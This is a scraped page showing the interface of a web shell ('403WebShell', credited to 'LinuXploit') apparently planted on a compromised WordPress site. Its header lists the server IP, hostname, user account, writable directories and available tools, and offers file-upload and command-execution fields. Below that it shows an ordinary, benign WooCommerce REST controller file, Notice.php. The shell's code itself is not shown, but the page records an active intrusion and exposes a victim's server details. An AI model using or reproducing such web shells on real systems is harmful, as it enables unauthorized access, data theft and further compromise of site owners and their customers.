Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.12.34.214
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Admin/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Admin/API/Notice.php
<?php
/**
 * REST API Notice controller
 *
 * Handles requests to /notice/
 */

namespace Automattic\WooCommerce\Admin\API;

use Automattic\WooCommerce\Admin\PluginsHelper;

defined( 'ABSPATH' ) || exit;

/**
 * Notice Controller.
 *
 * @internal
 * @extends WC_REST_Data_Controller
 */
class Notice extends \WC_REST_Data_Controller {

	/**
	 * Endpoint namespace.
	 *
	 * @var string
	 */
	protected $namespace = 'wc-admin';

	/**
	 * Route base.
	 *
	 * @var string
	 */
	protected $rest_base = 'notice';

	/**
	 * Register the routes for admin notes.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/dismiss',
			array(
				array(
					'methods'             => 'POST',
					'callback'            => array( $this, 'dissmiss_notice' ),
					'permission_callback' => array( $this, 'get_permission' ),
				),
			)
		);
	}

	/**
	 * Save notice dismiss information in user meta.
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error
	 */
	public function dissmiss_notice( $request ) {
		if ( ! isset( $request['dismiss_notice_nonce'] )
			|| ! wp_verify_nonce( $request['dismiss_notice_nonce'], 'dismiss_notice' ) ) {
			return new WP_Error( 'unauthorized', 'Invalid nonce.', array( 'status' => 401 ) );
		}
		$notice_id = isset( $request['notice_id'] ) ? sanitize_text_field( wp_unslash( $request['notice_id'] ) ) : '';
		$dismissed = false;
		switch ( $notice_id ) {
			case 'woo-subscription-expired-notice':
				update_user_meta( get_current_user_id(), PluginsHelper::DISMISS_EXPIRED_SUBS_NOTICE, time() );
				$dismissed = true;
				break;
			case 'woo-subscription-expiring-notice':
				update_user_meta( get_current_user_id(), PluginsHelper::DISMISS_EXPIRING_SUBS_NOTICE, time() );
				$dismissed = true;
				break;
		}

		return rest_ensure_response(
			array(
				'success' => $dismissed,
			)
		);
	}

	/**
	 * Check user has the necessary permissions to perform this action.
	 *
	 * @return bool
	 */
	public function get_permission(): bool {
		return current_user_can( 'manage_woocommerce' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit